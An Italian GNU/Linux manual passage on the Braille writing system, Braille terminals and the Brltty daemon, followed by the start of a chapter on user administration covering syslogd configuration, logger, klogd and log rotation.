Capitolo 17

17.1 Origini e caratteristiche del sistema Braille 733

17.2 Codifica semplificata 735

17.3 Braille a otto punti 735

17.4 Tabelle di conversione 736

17.5 Sistemi di interazione per non vedenti 737

17.6 Lettura di ciò che appare sullo schermo 738

17.7 Terminali braille 738

17.8 Brltty 739

17.9 Riferimenti 741

`brltty` 739 `brltty.conf` 739

17.1 Origini e caratteristiche del sistema Braille

Il sistema di scrittura per non vedenti è stato inventato da Louis Braille nel 1829, da cui viene il nome. Luis Braille era francese e in questo senso vanno viste le scelte che possono sembrare insolite, per chi è abituato a convenzioni derivanti dalla lingua inglese. Il sistema codifica 63 simboli rappresentati ognuno da una ***cella*** in cui possono essere collocati un massimo di sei punti in rilievo:

```
.----.
|*  *|
|*  *|
|*  *|
`----'
```

Tanto per fare un esempio, se si possono immaginare gli asterischi della figura seguente come altrettanti punti in rilievo, la parola «ciao!» si può rappresentare in questo modo:

```
* *    *  *    *
     *           *  * *
               *    *
```

Il sistema braille è fatto fondamentalmente per una scrittura manuale, attraverso l'uso di una tavoletta speciale, come si può vedere nelle figure 17.3 e 17.4.

Figura 17.3. Tavoletta di scrittura braille normale.

La scrittura avviene su un foglio di cartoncino bloccato sulla tavoletta, con l'aiuto di un punteruolo, guidato dalle feritoie poste su un regolo mobile (nel caso della tavoletta tascabile, il regolo è fisso). Dal momento che la scrittura avviene attraverso l'incisione del cartoncino, la lettura tattile, in rilievo, può avvenire solo sull'altro lato; pertanto, per quanto riguarda le lingue latine, la scrittura avviene da destra verso sinistra e la lettura da sinistra a destra.

Figura 17.4. Tavoletta di scrittura braille tascabile. La fase si scrittura avviene incidendo il cartoncino. In questo caso, non si vede la fila superiore, perché rimane coperta dall'ombra.

Figura 17.5. Testo inciso da destra verso sinistra.

Figura 17.6. Testo in rilievo da sinistra verso destra.

Il braille standard è composto da celle con un massimo di sei punti in rilievo, per un massimo di 2^6-1 segni, più lo spazio; tuttavia, possono esistere anche dispositivi braille predisposti per un massimo di otto punti in rilievo.

17.2 Codifica semplificata

La disposizione classica della codifica del braille è sintetizzata dalle figure 17.9 e 17.10. Chi volesse studiare ed esercitarsi con il braille, farebbe bene a copiare le due figure in modo da mettere a sinistra quella dei segni in scrittura e a destra quella dei segni in lettura.

Come si può comprendere a livello intuitivo, i 63 simboli non consentono di distinguere le lettere minuscole da quelle maiuscole; in generale si tratta sempre solo di lettere minuscole che diventano maiuscole se precedute dal segno relativo. Per esempio, «Daniele» si scrive così:

```
*  * * *    * *   * *   *    *
     *        * *     * *      *
*           *           *
```

Nello stesso modo, come si vede, non sono previsti i numeri. Questi si ottengono indicando il segno di numero davanti alle prime 10 lettere alfabetiche. Per esempio, 123 si indica così:

```
         *  *    *    * *
         *       *
       * *
```

Pertanto, a differenza delle maiuscole, il segno di numero vale per tutta la sequenza di simboli successiva.

Esistono naturalmente altri dettagli molto importanti per chi deve usare il braille, ma qui non vengono descritti. Purtroppo, i segni a disposizione sono molto pochi e di conseguenza, tutto quanto ha sempre un valore relativo al contesto.

17.3 Braille a otto punti

La codifica a otto punti consente di utilizzare una sola cella per indicare una lettera maiuscola o un numero. Ciò diventa particolarmente importante in un terminale braille, in cui è bene che si possa mantenere una corrispondenza tra celle e caratteri.

17.4 Tabelle di conversione

L'abbinamento del braille all'informatica, impone l'introduzione di tabelle di conversione dalla codifica dei caratteri al braille stesso. In pratica, in base alla nazionalità, si utilizza una codifica particolare; oltre a questo, deve essere definito un abbinamento tra codice binario (ASCII, ISO 8859-***n***, ecc.) e rappresentazione braille. Quando si utilizza un terminale braille o un sistema di stampa braille, occorre stabilire anche questo tipo di conversione.

Figura 17.9. La codifica braille per la scrittura da destra verso sinistra, secondo l'ordine classico.

```
  j       i       h       g       f       e       d       c       b       a
*  .    *  .    .  *    *  *    *  *    .  *    *  *    *  *    .  *    .  *
*  *    .  *    *  *    *  *    .  *    *  .    *  .    .  .    .  *    .  .
.  .    .  .    .  .    .  .    .  .    .  .    .  .    .  .    .  .    .  .

  t       s       r       q       p       o       n       m       l       k
*  .    *  .    .  *    *  *    *  *    .  *    *  *    *  *    .  *    .  *
*  *    .  *    *  *    *  *    .  *    *  .    *  .    .  .    .  *    .  .
.  *    .  *    .  *    .  *    .  *    .  *    .  *    .  *    .  *    .  *

  ù       è       à       é       ç       z       y       x       v       u
*  .    *  .    .  *    *  *    *  *    .  *    *  *    *  *    .  *    .  *
*  *    .  *    *  *    *  *    .  *    *  .    *  .    .  .    .  *    .  .
*  *    *  *    *  *    *  *    *  *    *  *    *  *    *  *    *  *    *  *

  w       æ       ü       ï       ë       û       ô       î       ê       â
*  .    *  .    .  *    *  *    *  *    .  *    *  *    *  *    .  *    .  *
*  *    .  *    *  *    *  *    .  *    *  .    *  .    .  .    .  *    .  .
*  .    *  .    *  .    *  .    *  .    *  .    *  .    *  .    *  .    *  .

  «       *       »       ()      !       ?       .       :       ;       ,
.  .    .  .    .  .    .  .    .  .    .  .    .  .    .  .    .  .    .  .
*  .    *  .    .  *    *  *    *  *    .  *    *  *    *  *    .  *    .  *
*  *    .  *    *  *    *  *    .  *    *  .    *  .    .  .    .  *    .  .

           numero         ò         verso         ì       lineetta   apostrofo
            *  .        *  .        *  .        *  *        .  .        .  .
            *  .        .  .        *  .        .  .        .  .        .  .
            *  *        *  *        .  *        *  .        *  *        .  *

                     maiuscole                corsivo
.  .        .  .        *  .        .  .        *  .        *  .        *  .
.  .        *  .        .  .        *  .        *  .        *  .        .  .
*  .        *  .        *  .        .  .        *  .        .  .        .  .
```

Figura 17.10. La codifica braille per la lettura da sinistra verso destra, secondo l'ordine classico.

```
 a          b          c          d          e          f          g          h          i          j
*  .       *  .       *  *       *  *       *  .       *  *       *  *       *  .       .  *       .  *
.  .       *  .       .  .       .  *       .  *       *  .       *  *       *  *       *  .       *  *
.  .       .  .       .  .       .  .       .  .       .  .       .  .       .  .       .  .       .  .

 k          l          m          n          o          p          q          r          s          t
*  .       *  .       *  *       *  *       *  .       *  *       *  *       *  .       .  *       .  *
.  .       *  .       .  .       .  *       .  *       *  .       *  *       *  *       *  .       *  *
*  .       *  .       *  .       *  .       *  .       *  .       *  .       *  .       *  .       *  .

 u          v          x          y          z          ç          é          à          è          ù
*  .       *  .       *  *       *  *       *  .       *  *       *  *       *  .       .  *       .  *
.  .       *  .       .  .       .  *       .  *       *  .       *  *       *  *       *  .       *  *
*  *       *  *       *  *       *  *       *  *       *  *       *  *       *  *       *  *       *  *

 â          ê          î          ô          û          ë          ï          ü          æ          w
*  .       *  .       *  *       *  *       *  .       *  *       *  *       *  .       .  *       .  *
.  .       *  .       .  .       .  *       .  *       *  .       *  *       *  *       *  .       *  *
.  *       .  *       .  *       .  *       .  *       .  *       .  *       .  *       .  *       .  *

 ,          ;          :          .          ?          !          ()         «          *          »
.  .       .  .       .  .       .  .       .  .       .  .       .  .       .  .       .  .       .  .
*  .       *  .       *  *       *  *       *  .       *  *       *  *       *  .       .  *       .  *
.  .       *  .       .  .       .  *       .  *       *  .       *  *       *  *       *  .       *  *

apostrofo   lineetta     ì           verso        ò           numero
.  .        .  .        *  *        .  *        .  *        .  *
.  .        .  .        .  .        .  *        .  .        .  *
*  .        *  *        .  *        *  .        *  *        *  *

                      corsivo                 maiuscole
.  *        .  *        .  *        .  .        .  *        .  .        .  .
.  .        .  *        .  *        .  *        .  .        .  *        .  .
.  .        .  .        .  *        .  .        .  *        .  *        .  *
```

17.5 Sistemi di interazione per non vedenti

I sistemi standard di interazione per non vedenti con un elaboratore sono di due tipi, ma si integrano convenientemente assieme: il terminale braille e la lettura automatica di ciò che appare sullo schermo. Il terminale braille è un'unità che si collega generalmente a una porta seriale o parallela e richiede la presenza di un programma in grado di leggere ciò che appare sullo schermo normale; il sistema di lettura automatica richiede naturalmente un programma simile.

Un sistema di lettura automatico è apparentemente un problema semplice da risolvere; in pratica le cose non sono così, perché deve anche essere in grado di individuare la struttura del testo (si pensi a un'organizzazione in più colonne). Il sistema che sembra essere più efficace per la lettura sonora del testo è Emacspeack, che comunque qui non viene descritto. Si vedano eventualmente i riferimenti bibliografici alla fine del capitolo.

17.6 Lettura di ciò che appare sullo schermo

Qualunque sistema di lettura per non vedenti (braille o audio), deve avere un modo per accedere a ciò che appare sullo schermo. Esistono evidentemente due modi: ciò che appare sullo schermo è controllato direttamente dal programma di lettura, oppure questo programma deve interagire con il sistema operativo per ottenere una copia dello schermo.

Un programma che controlla ciò che si deve leggere potrebbe essere una shell, oppure una sorta di navigatore ipertestuale, che eventualmente incorpori anche delle funzionalità per la creazione e la modifica dei documenti (dovrebbe essere questo il caso di Emacspeack).

Nel caso di GNU/Linux si accede a una copia di ciò che appare sullo schermo della console attiva attraverso il file di dispositivo '`/dev/vcsa`' o '`/dev/vcsa0`'. In particolare questi file di dispositivo consentono di ottenere informazioni anche sugli attributi del testo, cosa che permette di localizzare il cursore, per esempio; esistono infatti anche i file di dispositivo '`/dev/vcs*`' che consentono di ottenere una pura copia testuale delle console virtuali.

Questi file di dispositivo sono normalmente inaccessibili a utenti diversi dall'amministratore; pertanto, per consentire una lettura a programmi con privilegi limitati, occorre intervenire nei permessi. Supponendo di dover creare da zero il file di dispositivo '`/dev/vcsa0`', probabilmente si dovrebbe agire come segue:

mknod /dev/vcsa0 c 7 128 [*Invio*]

chown root:tty /dev/vcsa0 [*Invio*]

chmod 660 /dev/vcsa0 [*Invio*]

In pratica, si arriva alla fine a dare i permessi di lettura e scrittura anche al gruppo, supponendo che il programma che deve utilizzarlo funzioni, in questo caso, con i privilegi del gruppo '**`tty`**' (SGID-'**`tty`**'). Ciò consente di mantenere un minimo di riservatezza, nonostante il problema contingente da risolvere.

Volendo verificare che il file di dispositivo '`/dev/vcsa0`' consente di accedere al contenuto dello schermo della console virtuale attuale, si può inviarne una copia in una console inattiva o comunque non utilizzata. Per esempio:

cat /dev/vcsa0 > /dev/tty12 [*Invio*]

Manda una copia alla 12-esima console virtuale e si può verificare facilmente con la combinazione di tasti [*Alt F12*].

17.7 Terminali braille

Il terminale braille è solitamente un componente da collocare al di sotto della tastiera normale, attraverso il quale è possibile leggere una riga di testo, senza allontanare troppo le dita dalla tastiera stessa.

Vicino alla barra contenente le celle braille, devono essere disponibili alcuni tasti per il controllo del terminale stesso, per poter navigare sulla superficie di quello che appare sullo schermo. Infatti, di solito si dispone di una sola riga di celle braille, ma anche se potessero essere disponibili più di una, non sarebbero mai quante le righe che si vedono su uno schermo normale; inoltre, anche la quantità di celle è limitata, per cui diventa necessario poter spostare la «visualizzazione» braille anche in orizzontale.

Figura 17.11. Collocazione tipica di un terminale braille, sotto la tastiera o sotto un elaboratore portatile.

La figura 17.12 mostra in particolare un dettaglio delle celle di un terminale braille a otto punti.

Figura 17.12. Dettaglio delle celle di un terminale braille.

17.8 Brltty

Brltty[1] è un programma in grado di comunicare con un terminale braille, allo scopo di inviargli ciò che accade sullo schermo della console virtuale attiva di un sistema GNU/Linux.

Il funzionamento del programma è relativamente semplice: si tratta di un demone, '**`brltty`**', da avviare e fermare automaticamente attraverso la procedura di inizializzazione del sistema, il quale comunica con il terminale braille seguendo la configurazione relativa al terminale stesso e la configurazione della conversione braille.

In pratica, Brltty deve conoscere il tipo di terminale braille utilizzato e deve disporre di una tabella di conversione adatta per quanto riguarda la codifica usata e l'alfabeto braille dell'utilizzatore.

Brltty è accompagnato da dei file di libreria, per l'adattamento alle caratteristiche del terminale braille e per la conversione finale della codifica in braille. Questi file dovrebbero essere collocati nella directory '`/etc/brltty/`'. Il file di configurazione in cui occorre intervenire dovrebbe essere '`/etc/brltty.conf`' e il suo contenuto potrebbe apparire come nell'esempio seguente:

```
braille-device /dev/ttyS0
braille-driver ec
dot-translation text.us.tbl
```

Si comprende intuitivamente il significato delle direttive: il terminale viene connesso alla prima porta seriale, corrispondente al file di dispositivo '`/dev/ttyS0`'; il terminale braille viene gestito attraverso un protocollo definito dalla sigla '**`ec`**'; la trasformazione della codifica in braille avviene secondo il modello denominato '**`text.us.tbl`**', corrispondente in pratica a un file contenuto nella directory '`/etc/brltty/`', facente riferimento a un adattamento per la lingua inglese.

Tabella 17.14. Sigle attraverso le quali si abbinano le librerie di controllo del terminale braille.

Sigla	Terminale corrispondente
`al`	Alva (ABT3xx/Delphi)
`b1`	BrailleLite 18
`b4`	BrailleLite 40
`cb`	Tieman CombiBraille
`ec`	EcoBraille
`eu`	EuroBraille
`md`	MDV braille
`pm`	Papenmeier
`ts`	TSI (PowerBraille/Navigator)
`va`	BAUM Vario

Brltty è anche in grado di gestire terminali parlanti. Eventualmente, si può usare la direttiva '**`speech-driver`**' per il controllo della sintesi vocale. Di solito, la funzionalità è disabilitata, con la direttiva seguente:

```
speech-driver no
```

Tabella 17.16. Sigle relative alla gestione della sintesi vocale.

Sigla	Sintesi vocale
`no`	No Speech
`al`	Alva (Delphi)
`bl`	BrailleLite
`cb`	Tieman CombiBraille
`fv`	Festival Text to Speech Package
`gs`	Generic Say (invia allo standard input di '`/usr/local/bin/say`')
`tv`	Televox Speech Interface

Come già spiegato in precedenza, anche Brltty deve poter accedere a una copia della console virtuale corrente. Ciò avviene precisamente attraverso il file di dispositivo '`/dev/vcsa0`', che in alcuni sistemi GNU/Linux potrebbe anche essere assente, perché equivalente a '`/dev/vcsa`'. Si riepilogano nuovamente i passi necessari a creare il file e ad attribuirgli i permessi necessari per il funzionamento corretto con Brltty.

`#` **`mknod /dev/vcsa0 c 7 128`** [*Invio*]

`#` **`chown root:root /dev/vcsa0`** [*Invio*]

`#` **`chmod 600 /dev/vcsa0`** [*Invio*]

In questo caso, si presume che il demone '**`brltty`**' sia avviato attraverso la procedura di inizializzazione del sistema, in modo tale da funzionare con tutti i privilegi dell'utente '**`root`**'. Diversamente, occorre cambiare strategia per quanto riguarda i permessi e la proprietà del file di dispositivo.

17.9 Riferimenti

- *Dottless braille*

  ⟨http://www.dotlessbraille.org/ ⟩
- *A (slightly) different introduction to braille*

  ⟨http://www.dotlessbraille.org/AboutBraille.htm ⟩
- *BRLTTY - official home*

  ⟨http://dave.mielke.cc/brltty/ ⟩
- *BRLSPEAK: a braille and speech mini-distribution of GNU/Linux*

  ⟨http://www.brlspeak.net/ ⟩
- *Blind + Linux = BLINUX*

  ⟨http://leb.net/blinux/ ⟩

[1] **Brltty** GNU GPL

Utenti

Capitolo 18

18.1 Gestione del registro del sistema 745

18.1.1 Registro del sistema 745
18.1.2 Rotazione dei file 750
18.1.3 Console-log 753

18.2 Controllo degli accessi 754

18.2.1 Identità reale o efficace 754
18.2.2 Login, ovvero la procedura di accesso 755
18.2.3 Cambiamento di identità 760
18.2.4 Informazioni sugli accessi 763

18.3 Parole d'ordine cifrate 767

18.3.1 Funzione «crypt()» 767
18.3.2 Trasferimento delle utenze 767
18.3.3 Debolezza del sistema di parole d'ordine cifrate 768

18.4 Utenti e gruppi 768

18.4.1 Utilizzo di «adduser» e «useradd» 768
18.4.2 File «/etc/skel/*» 769
18.4.3 Utilizzo di «passwd» 770
18.4.4 Utilizzo di «chsh» 770
18.4.5 File «/etc/shells» 771
18.4.6 Utilizzo di «chfn» 771

18.5 Utenti e gruppi importanti 772

18.6 Eliminazione di un utente 774

18.7 Trucchi per la gestione degli utenti 776

18.7.1 Utente con funzione specifica 776
18.7.2 Gruppo di utenti con lo stesso UID 777
18.7.3 Uno stesso UID e GID per più nominativi-utente 777
18.7.4 Un gruppo per ogni utente (gruppi privati) 778
18.7.5 Directory personali controllate rigidamente dall'amministratore 778
18.7.6 Directory personali controllate da un utente «tutore» 779
18.7.7 Creazione di un'utenza in più contesti 780

18.8 Parole d'ordine oscurate 781

18.8.1 Funzioni delle parole d'ordine oscurate 781
18.8.2 Amministrazione degli utenti 783

18.8.3 Amministrazione dei gruppi 798
18.8.4 Caso particolare di «adduser» e «addgroup» nella distribuzione GNU/Linux Debian 801
18.8.5 Verifiche di coerenza 803
18.8.6 Copie di sicurezza 804

18.9 Moduli PAM 804

18.9.1 Servizi PAM 804
18.9.2 File di configurazione e moduli 805
18.9.3 Verifica nel registro del sistema 808
18.9.4 Configurazione particolareggiata dei moduli 808
18.9.5 Descrizione di alcuni moduli 808

18.10 Contabilità dell'utilizzo di risorse del sistema 810

18.10.1 Formato dei file 811
18.10.2 Contabilità basata sul file «/var/log/wtmp» 811
18.10.3 Contabilità dei processi 814

18.11 Configurazione e personalizzazione 817

18.11.1 Frammentazione del sistema di configurazione 818
18.11.2 Configurazione in base alla nazionalità: localizzazione 819
18.11.3 Insieme di caratteri 824
18.11.4 Configurazioni comuni varie 826
18.11.5 Fuso orario 828

18.12 Limiti alle utenze 829

18.12.1 Una shell per impedire l'accesso 829
18.12.2 Controllo dello spazio utilizzato, senza l'uso tradizionale delle quote . . . 830
18.12.3 Accesso consentito soltanto ad alcuni utenti 832

18.13 Samba e utenze Unix 832

18.13.1 Avvio del servizio di rete 833
18.13.2 Configurazione essenziale 833
18.13.3 Elenco degli utenti 835
18.13.4 Gestione delle utenze 835
18.13.5 Allineamento delle utenze 836

18.14 Sintesi dei comandi principali 837

18.15 Riferimenti 839

.hushlogin 760 /etc/pam.d/ 805 /etc/security/ 808 /lib/security/ 805 ac 813 accton 814 addgroup 801 adduser 768 801 adduser.conf 801 chage 797 chfn 771 chsh 770 false 829 falselogin 829 falselogin.conf 829 gpasswd 800 group 757 groupadd 800 groupdel 801 groups 766 grpck 803 grpconv 799 grpunconv 799 gshadow 799 id 766 klogd 750 last 811 lastcomm 815 lastlog 760 libpam.so 804 locale 824 localtime 828 logger 749 login 755 login.defs 784 logname 765 man.config 825 manpath.config 825 motd 759 newgrp 763 nologin 759 pacct 814 pam.conf 805 passwd 756 770 783 pinky 764 pwck 803 pwconv 793 pwunconv 794 sa 816 securetty 759 shadow 758 781 shells 771 829 skel 769 smb.conf 833 smbpasswd 835 su 761 syslog.conf 747 syslogd 746 useradd 768 794 userdel 796 usermod 796 users 763 utmp 758 w 763 who 764 whoami 765 wtmp 758 811 $LANG 821 $LC_ALL 821 $LC_COLLATE 821 $LC_CTYPE 821 $LC_MONETARY 821 $LC_NUMERIC 821 $LC_TIME 821 $LESSCHARSET 825 $MAIL 760 $TZ 828

18.1 Gestione del registro del sistema

Un sistema operativo complesso, quale può essere un sistema Unix, richiede l'annotazione di alcuni eventi importanti in un registro, composto da uno o più file specifici. Il sistema che si occupa della compilazione di questo registro, può intervenire solo localmente, oppure può ricevere queste informazioni anche da elaboratori remoti, attraverso la rete; nello stesso modo, può rinviare la registrazione a un elaboratore remoto. Tuttavia, la questione riguardante la rete viene accennata, contando sulla conoscenza delle problematiche essenziali legate ai protocolli TCP/IP; al riguardo si vedano eventualmente il capitoli a partire da 38.

18.1.1 Registro del sistema

Il registro del sistema (*system log*, o anche *syslog*) è la procedura di registrazione degli eventi importanti all'interno di un cosiddetto file di *log*, ovvero un file delle registrazioni, o più semplicemente «registro». Questa procedura è gestita principalmente dal demone '**syslogd**', il quale viene configurato attraverso '/etc/syslog.conf'. Altri programmi o demoni possono aggiungere annotazioni al registro inviando messaggi a '**syslogd**'.

Anche se potrebbe sembrare che la conoscenza di questo metodo di registrazione sia uno strumento utile principalmente per chi ha già esperienza di sistemi Unix, la consultazione dei file delle registrazioni può essere di aiuto al principiante che si trova in difficoltà e non sa quale sia la causa del mancato funzionamento di qualcosa.

Figura 18.1. Schema di massima dei flussi di dati che coinvolgono il demone '**syslogd**'.

18.1.1.1 Utilizzo di «syslogd»

Il programma '**syslogd**' è il demone che si occupa delle annotazioni nel registro del sistema.[1]

```
syslogd [opzioni]
```

Di norma viene avviato durante la procedura di avvio del sistema. Utilizza un file di configurazione che di solito è '/etc/syslog.conf'. Questo file viene letto nel momento in cui '**syslogd**' si avvia e, per fare in modo che venga riletto (per esempio dopo una modifica), occorre inviare al processo di '**syslogd**' un segnale di aggancio ('**SIGHUP**').

```
kill -HUP pid_di_syslogd
```

Tabella 18.2. Alcune opzioni.

Opzione	Descrizione
-f *file_di_configurazione*	Specifica un file di configurazione diverso da quello predefinito.
-m *minuti*	Stabilisce l'intervallo espresso in minuti tra i messaggi di marcatura. Il valore predefinito è 20.
-p *log_socket*	Specifica un socket di dominio Unix diverso da quello predefinito che è '/dev/log'.
-a *log_socket*	Specifica un socket di dominio Internet addizionale, per la ricezione; quello predefinito è di norma 514/UDP.

18.1.1.2 File «/etc/syslog.conf»

Il file '`/etc/syslog.conf`' contiene la configurazione di '**`syslogd`**' che definisce in che modo devono essere gestiti i messaggi da registrare. Se si vogliono apportare modifiche a questo file è necessario fare in modo che venga riletto da '**`syslogd`**'. Per fare questo è possibile mandare a '**`syslogd`**' il segnale '**`SIGHUP`**':

```
kill -HUP pid_di_syslogd
```

Tuttavia, in certi casi, questo segnale può anche provocare la conclusione del funzionamento del programma. Se necessario si può riavviare semplicemente:

`#` **`syslogd`** [*Invio*]

La sintassi per l'utilizzo di questo file di configurazione è relativamente semplice. Le righe vuote e quelle che iniziano con il simbolo '**`#`**' sono ignorate. Le altre sono record composti da due campi: il primo definisce la selezione, il secondo l'azione.

Il campo che definisce la selezione, serve a indicare per quali eventi effettuare un'annotazione attraverso l'azione indicata nel secondo campo. Questo primo campo si divide in due sotto-campi, uniti da un punto singolo ('**`.`**'), i quali si riferiscono ai servizi e alle priorità. I servizi sono rappresentati da parole chiave che individuano una possibile origine di messaggi, mentre le priorità sono altre parole chiave che identificano il livello di gravità dell'informazione.

Le parole chiave riferite ai servizi possono essere: '**`auth`**'; '**`authpriv`**'; '**`cron`**'; '**`daemon`**'; '**`kern`**'; '**`lpr`**'; '**`mail`**'; '**`news`**'; '**`syslog`**'; '**`user`**'; '**`uucp`**'; da '**`local0`**' a '**`local7`**'.

Volendo identificare tutti i servizi si può usare l'asterisco ('**`*`**'), mentre per indicarne un gruppo se ne può inserire un elenco separato da virgole ('**`,`**').

Le parole chiave riferite alle priorità possono essere quelle seguenti, elencate in ordine di importanza crescente, per cui l'ultima è quella che rappresenta un evento più importante: '**`debug`**'; '**`info`**'; '**`notice`**'; '**`warning`**'; '**`err`**'; '**`crit`**'; '**`alert`**'; '**`emerg`**'.

In linea di massima, l'indicazione di una parola chiave che rappresenta una priorità implica l'inclusione dei messaggi che si riferiscono a quel livello, insieme a tutti quelli dei livelli superiori. Per indicare esclusivamente un livello di priorità, occorre fare precedere la parola chiave corrispondente dal simbolo '**`=`**'. Si possono indicare assieme più gruppi di servizi e priorità, in un solo campo, unendoli attraverso un punto e virgola ('**`;`**'). Si possono escludere delle priorità ponendo anteriormente un punto esclamativo ('**`!`**').

Il secondo campo, quello che definisce l'azione, serve a indicare la destinazione dei messaggi riferiti a un certo gruppo di servizi e priorità, come definito dal primo campo. Può trattarsi di un file o di altro, a seconda del primo carattere utilizzato per identificarlo. Segue l'elenco.

Tabella 18.3. Destinazione dei messaggi.

Primo carattere	Descrizione
`/`	Se il primo carattere è una barra obliqua normale, si intende che si tratti dell'indicazione di un percorso assoluto di un file destinatario dei messaggi. Può trattarsi anche di un file di dispositivo opportuno, come quello di una console virtuale.
`|`	Se il primo carattere è una barra verticale, si intende che la parte restante sia l'indicazione del percorso assoluto di un file FIFO (*pipe* con nome), generato attraverso '**`mkfifo`**' (22.15.1).
`@`	Se il primo carattere è il simbolo '`@`', si intende che la parte restante sia l'indicazione di un elaboratore remoto, che ricevendo tali messaggi li inserisce nel proprio sistema di registrazione.
utente [,...]	Se il primo carattere non è scelto tra quelli elencati fino a questo punto, si intende che si tratti di un elenco di utenti (separati da virgole) a cui inviare i messaggi sullo schermo del terminale, se questi stanno accedendo in quel momento.
`*`	Se il primo e unico carattere è un asterisco ('`*`'), si intende che i messaggi debbano essere inviati sullo schermo del terminale di tutti gli utenti connessi in quel momento.

È importante osservare che gli stessi messaggi possono essere inviati anche a destinazioni differenti, attraverso più record in cui si definiscono le stesse coppie di servizi e priorità, oppure coppie differenti che però si sovrappongono. Per un approfondimento si veda anche la pagina di manuale *syslog.conf(5)*.

Segue la descrizione di alcuni esempi.

- ```
  *.*                      /var/log/syslog
  ```
  Invia tutti i messaggi nel file '`/var/log/syslog`'.

- ```
  kern.*                   /dev/console
  ```
  I messaggi del servizio '**`kern`**', a qualunque livello di priorità appartengano, vengono inviati al dispositivo corrispondente alla console. In pratica vengono scritti sullo schermo della console.

- ```
  mail.*                   /var/log/maillog
  ```
  I messaggi riferiti alla gestione della posta elettronica sono memorizzati nel file '`/var/log/maillog`'.

- ```
  *.warning                @dinkel.brot.dg
  ```
  I messaggi la cui priorità raggiunge o supera il livello '**`warning`**', vengono inviati all'elaboratore *`dinkel.brot.dg`*.

- ```
  *.*                      @dinkel.brot.dg
  *.=debug                 /var/log/debug
  *.=info;*.=notice        /var/log/messages
  *.warning                /var/log/syslog
  ```
  Invia tutti i messaggi all'elaboratore *`dinkel.brot.dg`*; inoltre invia i messaggi '**`debug`**' nel file '`/var/log/debug`', i messaggi '**`info`**' e '**`notice`**' nel file '`/var/log/messages`', infine i messaggi da '**`warning`**' in su nel file '`/var/log/syslog`'.
  ```

- ```
  *.=info;*.=notice        /var/log/messages
  *.warning                /var/log/syslog

  *.=debug;*.=info         /dev/tty9
  *.=notice;*.=warning     /dev/tty10
  *.=err;*.=crit           /dev/tty11
  *.=alert;*.=emerg        /dev/tty12
  ```
  Invia i messaggi '**info**' e '**notice**' nel file '/var/log/messages', i messaggi da '**warning**' in su nel file '/var/log/syslog', quindi suddivide nuovamente i livelli di priorità e li invia a quattro diverse console virtuali, da '/dev/tty9' a '/dev/tty12'.

18.1.1.3 Archiviazione dei file delle registrazioni del sistema

Per archiviare i file generati da '**syslogd**', se la propria distribuzione GNU/Linux non gestisce già questo problema, si possono spostare i file delle registrazioni altrove, dove poi eventualmente possono anche essere compressi comprimendoli, ripristinando i file originali vuoti e riavviando i servizi che li aggiornano.

Supponendo di dovere gestire il file '/var/log/syslog', prodotto da '**syslogd**'. Si potrebbe procedere secondo la modalità seguente:

mv /var/log/syslog /var/log/syslog.`date +%Y%m%d` [*Invio*]

touch /var/log/syslog [*Invio*]

killall -HUP syslogd [*Invio*]

gzip -9 /var/log/syslog.`date +%Y%m%d` [*Invio*]

In pratica, in questo modo, il file '/var/log/syslog' verrebbe archiviato in un file del tipo '/var/log/syslog.***aaaammgg***.gz', dove ***aaaammgg*** rappresenta la data di archiviazione.

18.1.1.4 Riservatezza delle informazioni

Le informazioni che vengono memorizzate nel registro del sistema potrebbero essere delicate, sia per la sicurezza del sistema, sia per i singoli utenti. Per questo, è bene ricordare che i file che compongono il registro del sistema non dovrebbero essere accessibili in lettura agli utenti comuni.

18.1.1.5 Utilizzo di «logger»

Il programma '**logger**' permette di aggiungere delle annotazioni all'interno del registro del sistema locale.[2] Se non vengono forniti argomenti, il messaggio da registrare viene atteso dallo standard input. Se si utilizza la tastiera, per concludere è necessario utilizzare il codice di EOF che di norma si ottiene con la combinazione [*Ctrl d*].

logger [***opzioni***] [***messaggio***]
  ```

Opzione	Descrizione
`-f` *file*	Permette di includere il file indicato all'interno del registro del sistema.

18.1.1.6 Utilizzo di «klogd»

Il programma '**`klogd`**' è il demone specifico per l'intercettazione e la registrazione dei messaggi del kernel Linux. [3] Di norma viene avviato dalla procedura di inizializzazione del sistema, subito dopo '**`syslogd`**'.

```
klogd [opzioni]
```

Il demone '**`klogd`**', oltre a inviare i messaggi del kernel al registro, visualizza sulla console i messaggi più importanti. Il livello di importanza dei messaggi da inviare anche sulla console dipende dall'opzione '**`-c`**'. Normalmente, il valore predefinito associato a questa opzione è quattro; per ridurre la quantità di messaggi che si ricevono sulla console basta portare questo valore a tre. Per modificare questo valore, di norma è necessario intervenire nello script della procedura di inizializzazione del sistema che si occupa del suo avvio.

Tabella 18.11. Alcune opzioni.

Opzione	Descrizione
`-f` *file_delle_registrazioni*	Specifica un file particolare per le registrazioni, invece di dirigere i messaggi direttamente al demone della gestione del registro del sistema, cioè '**`syslogd`**'.
`-c` ***n***	Specifica il livello di priorità dei messaggi da non inviare alla console. In pratica, normalmente è predefinito il livello quattro, che comporta la visualizzazione dei messaggi da zero a tre (che sono più importanti).

18.1.2 Rotazione dei file

I file utilizzati per annotare ciò che accade nel sistema possono essere generati da '**`syslogd`**', o da un programma analogo, ma nel sistema si aggiungono normalmente altri file generati specificatamente per il controllo di altri programmi. L'unico punto in comune dei vari programmi che generano file di questo tipo è la directory di partenza, all'interno della quale questi file vengono collocati: '`/var/log/`'. A parte questo, il problema che si incontra normalmente sta nel sistemare una procedura di rotazione dei file, che includa tutto ciò di cui c'è bisogno.

Può essere necessario conoscere la struttura del sistema di rotazione dei file delle registrazioni della propria distribuzione, nel caso il proprio utilizzo del sistema implichi l'obbligo di conservare questi dati per un certo tempo. Infatti, di solito il sistema automatico di archiviazione si occupa di mantenere solo pochi giorni di informazioni.

18.1.2.1 Rotazione dei file delle registrazioni di sistema nelle distribuzioni Debian

Le distribuzioni GNU/Linux Debian gestiscono un proprio sistema per la rotazione dei file delle registrazioni generati dalla configurazione del file '`/etc/syslog.conf`'.

Per la precisione, il meccanismo si appoggia su due script avviati periodicamente dal sistema Cron: '`/etc/cron.daily/sysklogd`' e '`/etc/cron.weekly/sysklogd`'. Come si può comprendere, il primo viene avviato ogni giorno e il secondo ogni settimana.

Questi script si avvalgono di due programmi: '**`syslogd-listfiles`**' [4] e '**`savelog`**'. [5] Il primo di questi due programmi serve a estrapolare dal file '`/etc/syslog.conf`' l'elenco dei file delle registrazioni utilizzati effettivamente, distinguendo in qualche modo tra quelli che vanno ruotati giornalmente e quelli che invece richiedono un ciclo settimanale. In base all'elenco ottenuto, viene poi usato '**`savelog`**' che si occupa effettivamente di creare il ciclo di file.

